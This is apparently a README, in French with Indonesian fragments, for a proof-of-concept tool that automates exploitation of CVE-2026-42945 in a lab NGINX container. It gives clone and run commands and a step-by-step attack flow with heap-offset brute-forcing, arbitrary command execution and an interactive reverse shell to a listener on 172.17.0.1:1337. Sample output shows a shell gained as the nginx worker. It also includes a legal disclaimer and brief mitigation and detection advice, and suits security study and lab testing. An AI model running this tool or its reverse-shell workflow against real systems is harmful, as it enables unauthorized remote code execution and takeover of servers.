
Automatise l'exploitation de CVE-2026-42945 dans les conteneurs NGINX : vérifie les cibles vulnérables, procède à une force brute sur les offsets du tas, exécute des commandes et ouvre un reverse shell interactif.
Pilote d'automatisation de PoC pour l'exploitation RCE du conteneur nginx-rift · Vérification de la cible → Exploit en une commande → Reverse shell interactif
Une seule commande orchestre tout le déroulement de l'exploit — de la vérification du conteneur jusqu'à l'obtention d'un shell.
⚠️ Avertissement éthique et légal Cet outil est uniquement destiné à des tests de sécurité légitimes et autorisés — pentest contractuel, lab/CTF ou actifs vous appartenant. Toute utilisation sans l'autorisation du propriétaire du système est une infraction pénale (UU ITE, Computer Fraud and Abuse Act, etc.). L'utilisateur assume l'entière responsabilité de son usage.
CVE-2026-42945 est une vulnérabilité Remote Code Execution (RCE) dans la configuration NGINX « Rift » — un bug heap-based buffer overflow dans le module ngx_http_rewrite_module déclenché via un bloc location spécifique (/api/users/...). L'impact permet à un attaquant d'exécuter des commandes via le handler system() dans le conteneur.
Ce dépôt contient 2 composants :
| Fichier | Fonction |
|---|---|
poc.py | Pilote d'exploit — brute-force de l'offset heap, deux modes : --cmd (commande unique) et --shell (reverse shell) |
scan.sh |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Opérateur (hôte où le script est exécuté) :
docker (avec sudo ou utilisateur dans le groupe docker)python3 + poc.py (dans le même répertoire que scan.sh)curl, nc (netcat), timeout (coreutils)Cible (lab) :
nginx-rift démarré (provisionnement via docker compose)19321 ouvert sur 127.0.0.1172.17.0.1 pour le listener de l'hôte)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh et poc.py doivent se trouver dans le même répertoire.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (par défaut)--cmd — écriture du marqueur hello from depthfirst dans /tmp/pwned dans le conteneur (nouvelle tentative automatique max 3×, timeout 300s/essai).docker exec cat /tmp/pwned doit contenir le marqueur (ground-truth, pas simplement la lecture de la sortie).y pour une session interactive.shell./scan.sh shell
Exécute poc.py --shell avec un listener sur 172.17.0.1:1337. Une fois le brute-force réussi, vous obtenez une invite /bin/sh interactive en tant qu'utilisateur worker NGINX dans le conteneur.
Remarque : l'IP
172.17.0.1est l'adresse de l'hôte sur le bridge Docker par défaut. Si votre bridge est différent (docker network inspect bridge), modifiez la variableLISTEN_IPen haut descan.sh.
Tous les paramètres sont regroupés dans le bloc de configuration en haut de scan.sh :
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module / supprimer la configuration Rift.0.0.0.0 ; utiliser un réseau interne + reverse proxy avec WAF.--privileged./api/users/ (motifs non numériques, payloads longs), détecter le spawn de /bin/sh depuis le processus nginx.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
Uniquement pour un usage légitime. Cet outil est destiné à :
Vous devez obtenir une autorisation écrite du propriétaire du système avant d'exécuter cet outil sur toute infrastructure.
Le dépôt est fourni « tel quel », sans aucune garantie. Les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.
Licence : MIT
ngx_http_rewrite_module — documentation officielle| Élément | Détail |
|---|
| CVE | CVE-2026-42945 |
| Type | Remote Code Execution (RCE) |
| Composant | NGINX (ngx_http_rewrite_module) — configuration « Rift » |
| Déclencheur | Requête vers le bloc location vulnérable (/api/users/{id}) |
| Impact | Exécution de commandes arbitraires en tant qu'utilisateur worker NGINX dans le conteneur |
| Environnement de lab | Conteneur nginx-rift-nginx-1 — port hôte 19321 |
| Orchestrateur d'automatisation — vérification de la cible, exécution du PoC, vérification des résultats et session shell interactive |
| Variable | Défaut | Fonction |
|---|
DOCKER | sudo docker | Remplacer docker si l'utilisateur est déjà dans le groupe docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filtre d'identification du conteneur |
CONTAINER | nginx-rift-nginx-1 | Nom du conteneur cible |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Adresse cible |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener du reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Vérification de l'exécution |
CMD_TIMEOUT | 300 | Temps limite par essai (secondes) |
MAX_ATTEMPTS | 3 | Nombre de nouvelles tentatives du PoC --cmd |
| Problème | Solution |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d, puis réessayez |
HTTP 000 / connection refused | Le port 19321 n'est pas encore prêt — attendez quelques secondes, vérifiez docker ps |
File 'poc.py' tidak ditemukan | Exécutez scan.sh depuis le répertoire du dépôt (poc.py doit être dans le même répertoire) |
PoC --cmd gagal terus (3×) | Augmentez MAX_ATTEMPTS / CMD_TIMEOUT ; assurez-vous que le kernel et la version de NGINX correspondent au lab |
| Reverse shell tidak konek | Vérifiez que LISTEN_IP correspond au bridge (docker network inspect bridge) ; assurez-vous que le port 1337 n'est pas utilisé |
Error unrecognized arguments | Assurez-vous que la version de poc.py prend en charge les flags --listen-ip/--listen-port (voir python3 poc.py -h) |